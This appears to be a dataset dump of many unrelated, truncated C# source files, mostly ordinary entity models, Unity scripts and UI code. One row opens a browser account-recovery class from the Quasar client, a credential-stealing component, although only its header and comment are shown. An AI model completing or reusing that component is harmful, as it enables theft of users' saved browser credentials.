text stringlengths 13 6.01M |
|---|
using System;
using System.ComponentModel.DataAnnotations;
namespace ShoppingGuide.DbModels
{
public class Customers
{
[Key]
public Guid CustomerId { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public string Patronimic { get; s... |
using ApiGetBooks.Entities;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Threading.Tasks;
namespace ApiGetBooks.Test {
public class ManageJsonTest {
public List<EntitysTest> TestarTudoClasseManageJsonTest() {
LoadAllJsonTest();
... |
using RRExpress.AppCommon;
using RRExpress.AppCommon.Attributes;
namespace RRExpress.ViewModels {
[Regist(InstanceMode.Singleton)]
public class ForgetPwdViewModel : BaseVM {
public override string Title {
get {
return "找回密码";
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace Hahn.ApplicatonProcess.December2020.Domain.Application.Dto.Model
{
public class AddResponse
{
public string Url { get; set; }
}
}
|
using System;
using System.Collections.Concurrent;
using Azure.Storage.Blobs;
using Rebus.AzureBlobs.Retries;
using Rebus.AzureBlobs.Tests.Extensions;
using Rebus.Retry;
using Rebus.Retry.Simple;
using Rebus.Tests.Contracts.Errors;
using Rebus.Tests.Contracts.Extensions;
using Rebus.Transport.InMem;
namespace Rebus.A... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
namespace CentricTeam2.Models
{
public class Recognition
{
[Key]
public int Employ... |
using UnityEngine;
using System.Collections;
public class Hasten : Spell
{
//string m_key = "AAAEA";
// Use this for initialization
void Start()
{
base.Start();
m_type = SpellType.Effect;
}
// Update is called once per frame
void Update()
{
base.Update();
... |
using AlgorithmProblems.Arrays.ArraysHelper;
using AlgorithmProblems.Sorting;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AlgorithmProblems.Arrays
{
/// <summary>
/// Given an array, find all the elements which sum up to a parti... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class QueryString : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void btnSubmit_Click(object sender, Ev... |
namespace Vapotage.Models
{
public class Accumulateur
{
public int Id { get; set; }
public string Marque { get; set; }
public int? DechargeMax { get; set; }
public int Capacite { get; set; }
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp33
{
class Forvet:Futbolcu
{
public int Bitiricilik { get; set; }
public int IlkDokunus { get; set; }
public int Kafa { get; set; }
public int OzelYetenek { get; set; }
p... |
using LibraryCoder.Numerics;
using Windows.UI.Xaml.Controls;
/*
* Verify that the LibraryNumerics LibNum.TruncateFloatingPoint() method overloads are working correctly..
*/
namespace SampleUWP.ConsoleCodeSamples
{
internal partial class Samples
{
internal static void Sample08_Test_Truncate_Methods(... |
using System;
using System.Runtime.CompilerServices;
[assembly: InternalsVisibleTo("NUnitTestStack")]
namespace Stack
{
internal class Item<T> : IDisposable
{
private int _Index { get; set; }
public int Index
{
get
{
return _Index;
}
set
{
if (Prev != null) _Index = Prev.Index + 1;
... |
namespace EFTeste.Entidades.Entidades
{
public class ProfessorClasse : Pessoa
{
public ProfessorClasse()
{
//Alunos = new List<Aluno>();
Idade = 0;
Sexo = Sexo.Masculino;
}
public int Id { get; set; }
public int TurmaId { get; set; }
... |
using Xamarin.Forms;
namespace RRExpress.Views {
public partial class EditMyInfoView : ContentPage {
public EditMyInfoView() {
InitializeComponent();
}
}
}
|
namespace DataLightning.Core.Tests.Unit.Operators
{
public class TestEntityC
{
public int KeyC { get; set; }
public string Value1 { get; set; }
public string Value2 { get; set; }
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class CardController : MonoBehaviour
{
public static CardController instance = null;
[SerializeField]
private GameObject CardPrefab;
[SerializeField]
private Transform CardInstantiatePos;... |
using UnityEngine;
public interface IInputService
{
bool IsHolding();
Vector3 HoldingPosition();
bool IsStartedHolding();
float HoldingTime();
bool IsReleased();
void Update(float delta);
} |
namespace ProjetctTiGr13.Domain.FicheComponent
{
public class PersonalityAndBackground
{
public string TraitDePersonnalite { get; set; }
public string Ideaux { get; set; }
public string Liens { get; set; }
public string Defauts { get; set; }
public int Alignement { get; ... |
using System;
using System.Collections.Generic;
using Uintra.Core.Activity.Entities;
namespace Uintra.Features.Social
{
public interface ISocialBase : IIntranetActivity
{
int? UmbracoCreatorId { get; set; }
Guid CreatorId { get; set; }
IEnumerable<int> MediaIds { get; set; }
Da... |
using Puppeteer.Core;
public class AIEnoughMushroomsSensor : PuppeteerExecutableSensor
{
public override void Initialise(PuppeteerAgent _owner)
{
m_Agent = _owner;
MushroomManager.Instance.OnMushroomCountChanged += SetHasEnoughMushrooms;
var sensorDesc = PuppeteerManager.Instance.GetSensorDescription(Descrip... |
using System;
using System.Collections.Generic;
using System.Linq;
using WritingPlatformCore.Interfaces;
namespace WritingPlatformCore.Entities.CabinetAggregate
{
public class Cabinet: BaseEntity, IAggregateRoot
{
public string OwnerId { get; private set; }
private readonly List<CabinetItem> ... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace OE.Service.Commands.Publish
{
public class RollBackAppCommand : ICommand
{
/// <summary>
/// App version
/// </summary>
/// <param name="args"></param>
... |
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Ports;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace RcSimulator
{
class Serial
{
static private Serial _singleton;
private string lastPort;
private... |
using System;
using System.Windows.Forms;
namespace UNO__ {
public partial class ColorLIst : Form {
public ColorLIst() {
InitializeComponent();
}
public delegate void ReturnColorDelegate(string ret);
public event ReturnColorDelegate ReturnColorEvent;
private v... |
using System;
using System.Net;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Documents;
using System.Windows.Ink;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Shapes;
using System.Collections.Generic;
namespace Proyecto... |
using BLL.DLib;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class Controls_Records_RecordSearch : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Access.IsAdmi... |
using OrdersViewer.Model;
using OrdersViewer.Service;
using System;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Windows.Input;
namespace OrdersViewer.ViewModel
{
/// <summary>
/// Модель представления сотрудника
/// </summary>
public class EmployeeWindowViewModel :... |
namespace CustomerApp.Dtos
{
using System.Runtime.Serialization;
[DataContract(Name="CustomerDetail")]
public class CustomerDetailDto
{
[DataMember]
public int Id { get; set; }
[DataMember(EmitDefaultValue = false)]
public string Status { get; set; }
[DataMemb... |
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace GradConnect.Models
{
public class Article : Post
{
public Article()
{
Comments = new List<Comment>();
}
public string Link { get; set; }
//Navigational props
pub... |
// The MIT License (MIT)
//
// Copyright (c) 2014-2017, Institute for Software & Systems Engineering
// Copyright (c) 2017, Stefan Fritsch
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Soft... |
/*
* Builded by Lars Ulrich Herrmann (c) 2013 with f.fN. Sense Applications in year August 2013
* The code can be used in other Applications if it makes sense
* If it makes sense the code can be used in this Application
* I hold the rights on all lines of code and if it makes sense you can contact me over the pub... |
using UnityEngine;
using System.Collections;
using CP.ProChart;
public class NewRoomChart : MonoBehaviour {
public BarChart Dat2LineChart;
ChartData2D dataSet = new ChartData2D();
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Up... |
using System;
using System.Collections.Generic;
using Hl7.Fhir.Support;
using System.Xml.Linq;
/*
Copyright (c) 2011-2012, HL7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Re... |
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using iTextSharp.text;
using iTextSharp.text.pdf;
using iTextSharp.text.html.simpleparser;
using System.... |
using MVP.Base.BaseRepository;
using MVP.Base.BaseView;
using MVP.Base.Common;
namespace MVP.Base.BasePresenter
{
/// <summary>
///
/// </summary>
public abstract class BasePresenter<TView, TRepository> : IBasePresenter
where TView : class, IBaseView
where TRepository : IBa... |
using System;
using UnityEngine;
namespace UnityAtoms
{
/// <summary>
/// A Reference lets you define a variable in your script where you then from the inspector can choose if it's going to be taking the value from a Constant, Variable, Value or a Variable Instancer.
/// </summary>
/// <typeparam name=... |
using System;
using System.Collections;
using System.Globalization;
using System.Reflection;
using System.ServiceModel;
using System.ServiceModel.Activation;
using Phenix.Business;
using Phenix.Core;
using Phenix.Core.Cache;
using Phenix.Core.Log;
using Phenix.Core.Mapping;
using Phenix.Core.Security;
using Phenix.Ser... |
using Coldairarrow.Business.Sto_BaseInfo;
using Coldairarrow.Business.Sto_ProManage;
using Coldairarrow.Entity.Sto_BaseInfo;
using Coldairarrow.Entity.Sto_ProManage;
using Coldairarrow.Util;
using System;
using System.Web.Mvc;
namespace Coldairarrow.Web
{
public class Pro_TemplateItemController : BaseMvcController... |
using System.Collections.Generic;
using Tomelt.Themes.Models;
namespace Tomelt.Themes.ViewModels {
public class ThemesIndexViewModel {
public bool InstallThemes { get; set; }
public ThemeEntry CurrentTheme { get; set; }
public IEnumerable<ThemeEntry> Themes { get; set; }
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Command
{
class LineaDeMontaje
{
List<Tarea> _tareas = new List<Tarea>();
public void AgregarTarea(Tarea t)
{
_tareas.Add(t);
}
pu... |
using BDBak.Helpers;
using BDBak.Jobs;
using BDBak.Models;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
... |
namespace ModelTransformationComponent.SystemRules
{
/// <summary>
/// Системная конструкция окончания описания дополнительных правил трансформации
/// <para/>
/// Наследует <see cref="SystemRule"/>
/// </summary>
[System.Serializable]
public class Translate_rules_end : SystemR... |
public class CommandHelp : CommandBase {
public override string runCommand(World world, string[] args) {
this.logMessage("Commands:");
foreach(CommandBase command in this.cmdManager.commands) {
this.logMessage(
command.commandName +
" " +
... |
using Dapper;
using Model.Basics;
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Comp;
namespace DAL.Basics
{
/// <summary>
/// 单位
/// </summary>
public class D_Units
{
... |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CircularPlat2Stage3 : MonoBehaviour {
public GameObject platform;
float timeCounter = 0;
float speed;
float width;
float height;
// Use this for initialization
void Start()
{
... |
using MahApps.Metro.Controls.Dialogs;
namespace Sales.Views.SaleViews
{
public partial class SaleCategoryInfromationDialog : CustomDialog
{
public SaleCategoryInfromationDialog()
{
InitializeComponent();
}
}
}
|
namespace Ach.Fulfillment.Nacha.Message
{
using System;
using System.Collections.Generic;
using Ach.Fulfillment.Nacha.Attribute;
using Ach.Fulfillment.Nacha.Record;
using Ach.Fulfillment.Nacha.Serialization;
[Serializable]
public class GeneralBatch : SerializableBase
{
[Record... |
using E_LEARNING.Data;
using E_LEARNING.Models;
using E_LEARNING.Repo;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace E_LEARNING.Repository
{
public class FormationRepo : IRepoformation
{
private readonly ... |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using Microsoft.ML.AutoMLService;
using Microsoft.ML.SearchSpace;
namespace Micr... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Numerics;
using alg;
/*
* tags: saddleback binary search
* Time(nlogw), Space(1), where w=maxValue-minValue
*/
namespace leetcode
{
public class Lc719_Find_Kth_Smallest_Pair_Distance
{
public int SmallestDistancePair(i... |
using System.Linq;
namespace PorterStemmer.Stemmers
{
public abstract class Stemmer
{
protected readonly char[] Vowels;
public abstract string GetStem(string word);
protected Stemmer(char[] vovels)
{
Vowels = vovels;
}
/// <summary>
/// ... |
using AdyMfb.Controllers;
using EntityLayer.AdminRepository;
using EntityLayer.AutoMapperProfile;
using EntityLayer.CustomerRepository;
using EntityLayer.CustomerRepositoryServices;
using EntityLayer.DataAccess;
using EntityLayer.IAdminRepositorys;
using EntityLayer.SavingsRepository;
using EntityLayer.SavingsRepositor... |
using System;
using System.Linq;
namespace Exercise_4
{
class Program
{
static void Main(string[] args)
{
int[] arr = Console.ReadLine().Split().Select(int.Parse).ToArray();
int[] arr2 = new int[arr.Length];
for (int i = 0; i < arr2.Length; i++)
... |
using Assets.Scripts.Models;
using Assets.Scripts.Models.Seedlings;
using Assets.Scripts.Ui;
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace Assets.Scripts.UI.Interactive
{
public enum GardenBedState
{
Available,
InProgress,
Finish... |
/*
* Creado en SharpDevelop
* Autor: IsaRoGaMX
* Fecha: 16/09/2015
* Hora: 09:54 a.m.
*
*/
using System;
using System.Collections.Generic;
namespace IsaRoGaMX.CFDI
{
public class Retencion : baseObject {
public Retencion() : base() { }
public Retencion(string impuesto, double importe) {
... |
using Microsoft.EntityFrameworkCore;
using WebAPI.Core.DomainModels.Transactions;
namespace WebAPI.Infrastructure.EF.Mappings
{
public static class TransactionMap
{
public static ModelBuilder MapTransaction(this ModelBuilder modelBuilder)
{
var entity = modelBuilder.Entity<Transact... |
//using Microsoft.VisualStudio.TestTools.UnitTesting;
using AllianceReservations.Entities;
using Microsoft.Extensions.DependencyInjection;
using NUnit.Framework;
using System.Collections.Generic;
using AllianceReservations.Data;
namespace AllianceReservations.Tests
{
public class UnitTests
{
[TestCase]... |
using System;
// To execute C#, please define "static void Main" on a class
// named Solution.
class Solution
{
static void Main(string[] args)
{
ZFighter Vegeta = new ZFighter("Kakarot", 6000); //You are instantiating the blue print
// Vegeta.Name = "Vegeta";
//Vegeta.PowerLevel = 90... |
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Newtonsoft.Json.Linq;
using ProjectBueno.Engine;
namespace ProjectBueno.Engine
{
//Animated Entity Texture with frames(horizontal)
public class AnimatedTexture
{
public AnimatedTexture(AnimatedTexture anim) //Clone constructor
{
te... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using KartObjects;
using KartLib;
namespace KartSystem
{
public class PriceRestRecord:PriceList
{
[DBIgnoreAutoGenerateParam]
[DBIgnoreReadParam]
public override string FriendlyName
{
... |
using System;
namespace Bridge
{
public class AndroidKit : IMobileDevelopmentKit
{
// Create instance of Android development framework using constructor
public void AddButton()
{
System.Console.WriteLine("Created Android Button Control");
}
public void AddChe... |
using System.Collections.Generic;
using System.Linq;
namespace nAlpha
{
internal class VertexCounter
{
private readonly Dictionary<int, int> _vertexCounts = new Dictionary<int, int>();
public void IncreaseForIndex(int index)
{
if (!_vertexCounts.ContainsKey(index))
... |
using System;
using System.Collections.Generic;
namespace Uintra.Infrastructure.TypeProviders
{
public interface IEnumTypeProvider
{
Enum this[int typeId] { get; }
Enum this[string name] { get; }
Enum[] All { get; }
IDictionary<int, Enum> IntTypeDictionary { get; }
... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace EBS.Application.DTO
{
public class TransferOrderModel
{
public int Id { get; set; }
public int FromStoreId { get; set; }
public string FromStoreName { get; set; }... |
using Aurora.Framework;
using Aurora.Framework.Servers.HttpServer;
using System.Collections.Generic;
using Aurora.Framework.Servers.HttpServer.Implementation;
using Aurora.Framework.Services;
namespace Aurora.Modules.Web
{
public class SLMapAPIPage : IWebInterfacePage
{
public string[] FileP... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework.Content;
using TowerDefence.Creeps;
namespace TowerDefence.Bullets
{
class Bullet
{
#region Variables
priv... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace VBRepo
{
public class Om_OsFac : AutoFac<Om_Os>
{
}
}
|
using System;
using System.Diagnostics;
namespace RequestProcessor.App.Logging
{
internal class Logger : ILogger
{
public void Log(string message)
{
if(IsValid(message))
Debug.WriteLine(message);
}
public void Log(Exception exception, string messag... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace ParkingGarageManagement.Models
{
/// <summary>
/// class representing the result of the checkIn
/// </summary>
public class CheckInResult
{
/// <summary>
/// Constructor.
... |
using Simple.Wpf.Composition.Infrastructure;
namespace Simple.Wpf.Composition.Workspaces.FSharp.Repl
{
public sealed class FSharpReplController : BaseController<FSharpReplViewModel>
{
public FSharpReplController(FSharpReplViewModel viewModel)
: base(viewModel)
{
}
... |
using System;
using System.Collections.Generic;
using System.Text;
namespace NetCore.Service
{
public interface IPersonService
{
List<Person> People { get; }
Tuple<List<Person>, bool> GetAll(Query q);
bool Post(Person p);
bool Put(Person np, Person op);
bool Delete(Pers... |
using Euler_Logic.Helpers;
namespace Euler_Logic.Problems {
public class Problem7 : ProblemBase {
/*
A simple primesieve will yield the 10001st prime.
*/
public override string ProblemName {
get { return "7: 10001st prime"; }
}
public override stri... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Text;
using System.Threading.Tasks;
namespace LivePerformance2016.CSharp
{
[DataContract]
public class Bezoek
{
[DataMember]
public int ID { get; private set; }
[Data... |
using PhotonInMaze.Common;
using PhotonInMaze.Common.Flow;
using PhotonInMaze.Provider;
using UnityEngine;
using UnityEngine.UI;
namespace PhotonInMaze.CanvasGame.DebugGame {
internal class DebugManager : MonoBehaviour {
private float deltaTime = 0.0f;
[SerializeField]
private Button gen... |
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using MarioKart;
using ConsoleApplication1;
namespace UnitTestProject1
{
[TestClass]
public class FoqueteDePlutonioTest
{
[TestMethod]
public void FogueteDePlutonioTemNivel2eRecebe4DeBonusDoCorredor()
{
v... |
using Microsoft.EntityFrameworkCore.Migrations;
namespace Factory.Migrations
{
public partial class EngineerMachineTableFix : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropForeignKey(
name: "FK_EnigneerMachine_Engin... |
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Threading.Tasks;
using System.Net;
using System.Web;
using System.Web.Mvc;
using WebAppMedOffices.Models;
using WebAppMedOffices.Shared;
using Microsoft.AspNet.Identity;
using WebAppMedOffices.C... |
using System.Collections.Generic;
namespace ReactSportsDemo.Web.Models
{
public class SportsGameModel
{
public int GameId { get; set; }
}
} |
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using MoonSharp.Interpreter;
using System;
using DG.Tweening;
[MoonSharpUserData]
public class AnimationTarget : MonoBehaviour {
protected static readonly string AnimPath = "Sprites/Anim/";
protected static readonly string ArgDura... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Project371
{
/// <summary>
/// Class for all text components within a scene
/// </summary>
class UITextRe... |
using System.Collections.Generic;
namespace YouScan.Sale
{
public interface IPointOfSaleTerminal
{
void SetPricing(IReadOnlyDictionary<string, ProductPricingSettings> pricingSettings);
void Scan(string productCode);
double CalculateTotal();
double CalculateForDiscount();
}
... |
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Linq;
using System.Threading.Tasks;
using System.Windows;
using MVVM_WPF_HelloWorld.ViewModel;
namespace MVVM_WPF_HelloWorld
{
/// <summary>
/// Interaction logic for App.xaml
/// </summary>
pub... |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using AForge.Video;
using AForge.Video.DirectShow;
using MaterialSkin.Controls;
namespa... |
using Quasar.Client.Recovery.Utilities;
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;
namespace Quasar.Client.Recovery.Browsers
{
/// <summary>
/// Provides basic account recovery capabilities from chromium-based applications.
/// </summary>
public abstra... |
using Newtonsoft.Json;
namespace ARConfigurator
{
public class Feature
{
[JsonProperty("id")]
public long Id { get; set; }
[JsonProperty("name")]
public string Name { get; set; }
[JsonProperty("isMandatory")]
public bool IsMandatory { get; set; }
[Json... |
using System;
using System.Globalization;
using System.Linq;
using System.Windows.Data;
namespace SylphyHorn.UI.Controls
{
public sealed class MultiBooleanAndConverter : IMultiValueConverter
{
public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture)
=> !values.Select(Syste... |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BlockSpawn : MonoBehaviour
{
public GameObject[] Block = new GameObject[8];
public GameObject[] Movebranch = new GameObject[8];
public GameObject Stage_Bottom;
public GameObject Summon;
... |
using System.Collections;
using System.Collections.Generic;
using System.Timers;
using UnityEngine;
public class Flammable : MonoBehaviour
{
public GameObject firePs;
private float timer = 0.25f;
private bool ignited;
private List<ParticleSystem> particleSystems = new List<ParticleSystem>();
publi... |
namespace OpenOracle.Old
{
public class EnemyOld : MobileActorOld
{
public EnemyOld() {}
public EnemyOld(SpriteSheetBaseOld spriteSheet)
: base(spriteSheet) {}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net;
using System.IO;
namespace Bai_TH_Lab_04
{
public partial class Lab04_Bai_02 : For... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.Script.Serialization;
using System.Reflection;
namespace XESmartTarget.Core.Config
{
class TargetConfigTypeResolver : SimpleTypeResolver
{
private static Dictionary<str... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Rainbow.Enum;
using RWCustom;
using UnityEngine;
using Rainbow.CreatureOverhaul;
using LizardCosmetics;
namespace Rainbow.CreatureAddition
{
public class RainbowLizardBreedParams : LizardBreedParams, ICloneable
{
... |
using System;
using System.Collections.Generic;
using System.Xml;
namespace pjank.BossaAPI.Fixml
{
public enum TradingSessionStatus
{
Unknown = 0, // nieznany
Halted = 1, // wstrzymany
Open = 2, // otwarcie
Closed = 3, // zamknięcie
PreOpen = 4,... |
using System;
namespace Shared
{
public class CheckRequest
{
public string Domain { get; set; }
public int? Rank { get; set; }
}
public class LogoRequest
{
public Uri Uri { get; set; }
}
public class ScoreRequest
{
public Range Range { get; set; }
... |
using System;
using UnityAtoms.BaseAtoms;
using UnityEngine;
namespace UnityAtoms.BaseAtoms
{
/// <summary>
/// Reference of type `GameObject`. Inherits from `AtomReference<GameObject, GameObjectPair, GameObjectConstant, GameObjectVariable, GameObjectEvent, GameObjectPairEvent, GameObjectGameObjectFunction,... |
// using Nancy;
// using System;
// using System.Collections.Generic;
// using WordCounter.Objects;
//
// namespace WordCounter
// {
// public class HomeModule : NancyModule
// {
// public HomeModule()
// {
// Get["/"] = _ =>{
// return View["index.cshtml"];
// };
// }
// }
// }
|
using System;
using System.Collections.Generic;
using System.Text;
namespace Btf.Utilities.Hash
{
public interface IPasswordHash
{
string GetHash(string password);
}
}
|
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Data.Entity;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
us... |
using Cs_Notas.Dominio.Entities;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.ModelConfiguration;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Cs_Notas.Infra.Data.EntityConfig
{
public class Complement... |
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